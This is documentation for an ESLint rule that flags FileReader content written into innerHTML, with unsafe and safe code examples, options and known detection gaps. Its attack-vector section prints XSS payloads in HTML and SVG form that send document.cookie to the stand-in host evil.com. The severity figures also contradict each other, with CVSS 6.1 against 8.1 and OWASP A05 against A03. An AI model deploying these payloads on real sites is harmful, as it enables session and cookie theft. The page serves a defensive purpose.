browser-security/no-filereader-innerhtml
The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance:
🔒 Disallow using innerHTML with FileReader data
Error Message Format
The rule provides LLM-optimized error messages (Compact 2-line format) with actionable security guidance:
⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]
Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/Message Components
| Component | Purpose | Example |
|---|---|---|
| Risk Standards | Security benchmarks | CWE-79 OWASP:A05 CVSS:6.1 |
| Issue Description | Specific vulnerability | Cross-site Scripting (XSS) detected |
| Severity & Compliance | Impact assessment | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] |
| Fix Instruction | Actionable remediation | Follow the remediation steps below |
| Technical Truth | Official reference | OWASP Top 10 |
Rule Details
This rule prevents using innerHTML, outerHTML, insertAdjacentHTML(), or document.write() with data read from files via FileReader. Malicious files can contain XSS payloads that execute when rendered.
Why is this dangerous?
When you render file content with innerHTML:
- Uploaded HTML/SVG files can contain scripts
- Scripts execute in your application context
- Attacker has access to cookies, localStorage, DOM
Examples
❌ Incorrect
// Direct innerHTML with FileReader result
reader.onload = (e) => {
element.innerHTML = e.target.result;
};
// outerHTML
fileReader.onload = (event) => {
container.outerHTML = event.target.result;
};
// insertAdjacentHTML
reader.onload = (e) => {
preview.insertAdjacentHTML('beforeend', e.target.result);
};
// onloadend event
reader.onloadend = (e) => {
output.innerHTML = e.target.result;
};✅ Correct
// Use textContent for plain text files
reader.onload = (e) => {
codePreview.textContent = e.target.result;
};
// Sanitize before rendering HTML
reader.onload = (e) => {
const sanitized = DOMPurify.sanitize(e.target.result);
container.innerHTML = sanitized;
};
// Use intermediate sanitized variable
reader.onload = (e) => {
const cleanHtml = DOMPurify.sanitize(e.target.result, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
});
preview.innerHTML = cleanHtml;
};
// For images, use data URLs properly
reader.onload = (e) => {
imagePreview.src = e.target.result; // Safe for images
};
// Parse structured data (JSON, XML)
reader.onload = (e) => {
try {
const data = JSON.parse(e.target.result);
displayData(data); // Handle data programmatically
} catch (err) {
showError('Invalid file format');
}
};Options
{
"browser-security/no-filereader-innerhtml": [
"error",
{
"allowInTests": true
}
]
}| Option | Type | Default | Description |
|---|---|---|---|
allowInTests | boolean | true | Skip checking in test files (_.test.ts, _.spec.ts) |
Detection Patterns
The rule detects:
reader.onloadhandlers using innerHTML with e.target.resultreader.onloadendhandlers with the same pattern- Common reader variable names: reader, fileReader, fr, r
Common File Upload Attack Vectors
Malicious HTML File
<img src="x" onerror="fetch('https://evil.com?c='+document.cookie)" />
<script>
new Image().src = 'https://evil.com?' + document.cookie;
</script>Malicious SVG File
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<script>fetch('https://evil.com?cookies='+document.cookie)</script>
</svg>When Not To Use It
You may disable this rule if:
- You're rendering only non-HTML content (plain text, JSON)
- You have thorough sanitization that the rule can't detect
However, always sanitize file content before rendering as HTML.
Related Rules
browser-security/no-innerhtml- General innerHTML preventionbrowser-security/no-postmessage-innerhtml- postMessage XSS prevention
Known False Negatives
The following patterns are not detected due to static analysis limitations:
Result Stored in Variable
Why: File data stored in variables not traced.
// ❌ NOT DETECTED - Stored first
reader.onload = (e) => {
const content = e.target.result;
element.innerHTML = content; // From variable
};Mitigation: Always sanitize before any innerHTML assignment.
Custom Sanitizer
Why: Non-standard sanitizer names may not be recognized.
// ❌ NOT DETECTED - Custom sanitizer
element.innerHTML = myCustomSanitizer(e.target.result);Mitigation: Configure trusted sanitizer names.
Async Handler
Why: Async processing may break detection.
// ❌ NOT DETECTED - Async handler
reader.onload = async (e) => {
await delay(100);
element.innerHTML = e.target.result;
};Mitigation: Sanitize in all async paths.
OWASP Mapping
| Category | ID |
|---|---|
| OWASP Top 10 2021 | A03:2021 - Injection |
| CWE | CWE-79 |
| CVSS | 8.1 (High) |
no-eval
Detects dangerous eval() and similar code execution patterns. This rule is part of [`eslint-plugin-frontend-security`](https://www.npmjs.com/package/eslint-plug
no-innerhtml
Detects dangerous innerHTML/outerHTML assignments that can lead to Cross-Site Scripting (XSS). This rule is part of [`eslint-plugin-frontend-security`](https://